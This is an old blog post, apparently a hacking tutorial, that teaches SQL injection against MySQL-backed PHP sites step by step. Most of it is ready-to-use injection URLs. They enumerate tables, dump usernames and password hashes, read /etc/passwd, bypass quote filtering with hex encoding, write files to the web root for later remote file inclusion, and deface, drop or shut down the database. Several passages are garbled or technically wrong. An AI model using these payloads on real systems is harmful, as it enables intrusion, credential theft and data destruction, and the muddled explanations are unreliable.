Friday, September 30, 2011

SQL Injection Discussed

What is SQL injection? It is a mean of database exploitation through queries (sql commands) in order to read database tables contents, mainly, attack or gain unauthorized access to a system using the exploited database. A great number of modern websites suffers from this vulnerability, which can cause simple information leakage or total improvisation. So its severity is relative high. 



What causes this vulnerability? Improper sanitization of submitted info procedures.SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user. Code that is vulnerable to this type of vulnerability might look something like this: 

$pass = $_GET['pass']; $password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';"); 

Lets suppose a webpage http://www.victim.com/index.php?id=1 the first stage of attack includes finding the number of coloumns of database table. This can be done in the following way:
http://www.victim.com/index.php?id=1 order by x 
where x=1,2,3 (1+) raising until an error message is gotten. The x-1 number is the exact number of columns. 

Next follows finding the names of tables and coloumns of the table, as well as any other tables and columns using the information_schema. First let us understand about the information schema.

What is Information Schema? It is a major table existing in any PHP version database including information about: table names, column names, users, database, users privilege, privileges, database So to achieve this two methods can be used the union+select or the grouped by method: 

http://www.victim.com/index.php?id=-1+union+select+1,2,3-- (or union all select 1,2,3--) 

At this point id=-1 and – are met. The first one is the null value(can be used also:null). The seconde one –means the end of the query, any text after that is just commenting. Also can be used # or /*. The previous means select names of 1,2,3 from any database, with out null value just taken again the initial url. Also words in url can be connected with simple whitespaces,+ or %20, last is the hex character for space. 

The second method takes advantage of id: 
http://www.victim.com/index.php?Select 1,2,3 grouped by id=1-- 
Each time on the page appears a number columns and any other new information possible to be related with columns_name, then that number should be substituted by the proper info. So in following steps it is possible reading the column_names. The following step includes involving information_schema tables 

http://www.victim.com/index.php?id=-1+union+select+1,2,3+from+information_schema.tables-- 

http://www.victim.com/index.php?id=-1+union+select+1,concat(table_name),3,..,N+FROM+INFORMATION_SCHEMA.TABLES+limit+0,1-- 

In the last query a new command is used, limit. With limit 0,1 the first table is returned. With limit 1,1 the second table is returned, with limit 14,1 the 15 table is returned, with limit 18,1 the 19 table is returned and so on.The procedure is repeated until getting an error. When error is gotten all tables are found.

More info about database version, database and user can be gained by using the proper sql function into the queries. In MySQL version 5 and below it is possible to get MySQL root rights. These versions include a table named mysql.user containing hashes and usernames for logins, like in the following code 

http://www.victim.com/index.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/* 
Hashes are in mysqlsha1 format. To check what privileges a user has the following query can be used 

http://www.site.gr/index.php?id=-1+union+all+select+1,2,group_concat(user,0x3a,file_priv),4,5,6,7+from+mysql.user-- 

the result are in format Username:Privileges When Y appears there are relative privileges, where N appears not.
http://www.victim.com/index.php?id=-1+union+select+1,2,version()--
http://www.victim.com/index.php?id=-1+union+select+1,2,@@version--
http://www.victim.com/index.php?id=-1+union+select+1,2,user()--
http://www.victim.com/index.php?id=-1+union+select+1,2,database()-- 
Although these functions are not columns of database they are implemented in the query as one of the existing columns otherwise a message of improper columns number is returned. The functions are inserted in place of vulnerable field. Modifying database content: After information is found about a database either with SQL injection or Blind SQL injection, described in later lines, it is possible to modify its content. 
Suppose the victim page http://www.victim.com/index.php?id=5 and the query (with column names): select title, article, author from data where id=5 (found by injection) So table name can be change:

http://www.victim.com/index.php?id=5 UPDATE table_name SET title='hacked',article='hacked',author='somebody'-- 

thus changing title,article and author. Or it is possible to delete one or more columns: 

http://www.victim.com/index.php?id=5 DELETE title,article,author from data-- 
or 
http://www.victim.com/index.php?id=5 DELETE title,article,author FROM data where id=5-- for id=5 etc

http://www.victim.com/index.php?id=5 DROP TABLE data-- 
this last query completely deletes one table. In the previous queries it was possible to delete any number of columns. 

Putting MySQL server offline: The command SHUTDOWN WITH NOWAIT is used, for example take the following query: 
http://www.victim.com/index.php?id=5 SHUTDOWN WITH NOWAIT; LOAD_FILE

it permits viewing the contents of a given file. As seen in the following query, function load_file() replaces vulnerable parameter as well as it is given with full working directory. 

http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),4,5,6,7+from+mysql.user-- 

If this query returns an error that means that a magic quote filetering is used as countermeasure, with the server inserting backslashes before and after quotes. It bypasses magic quote filtering the file (directory) should be written in hexademical format or each character should be replaced with its ASCII value, all values seperated with commas (,) when using char() function. When using hexademical formatting, that is specified in the query by inserting 0x just before the hexademical values, without any empty space before and after the hexademical values. For example the previous query using hex and char is written in the following ways: 
For hexademical formatting: 
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7+from+mysql.user-- 
For char() method: 
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7+from+mysql.user-- INTO OUTFILE 

With this command it is possible to write a file into a given directory with a specific text. In the following example the file test. When using this method as above and more than one fields are vulnerable (columns), then the last is replaced with the query, the other replaced with null. When return or enter keys are used in text, it is written and trasposed into char or hex. If magic quote filtering is used, then the text, just the text is converted to hex. 
The directory, file should be written with precision inside ' '. In the following example the query creates a file test.txt in directory home/site/www/ with the text “testing” (http://www.site.gr/test.txt). A possible exploitation of this method is creating a vulnerable file inside a server and later attacking it with RFI.
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,"testing",4,5,6,7+INTO+OUTFILE+'/home/site/www/test.txt'-- 
Blind SQL injection in this method conclusions are based on difference between valid and invalid query results after our valid or invalid inputs. Because unlike simple sql injection we dont receive any direct info on page this type of injection is called blind.

Suppose the page http://www.victim.com/index.php?id=1We try injecting the following statements 

http://www.victim.com/index.php?id=1 and 1=1http://www.victim.com/index.php?id=1 and 1=2 

The first request always results true returning the initial page. But on the second request, and incase there is not any proper defensive filter, we get a false result, differing from the result of the previous request.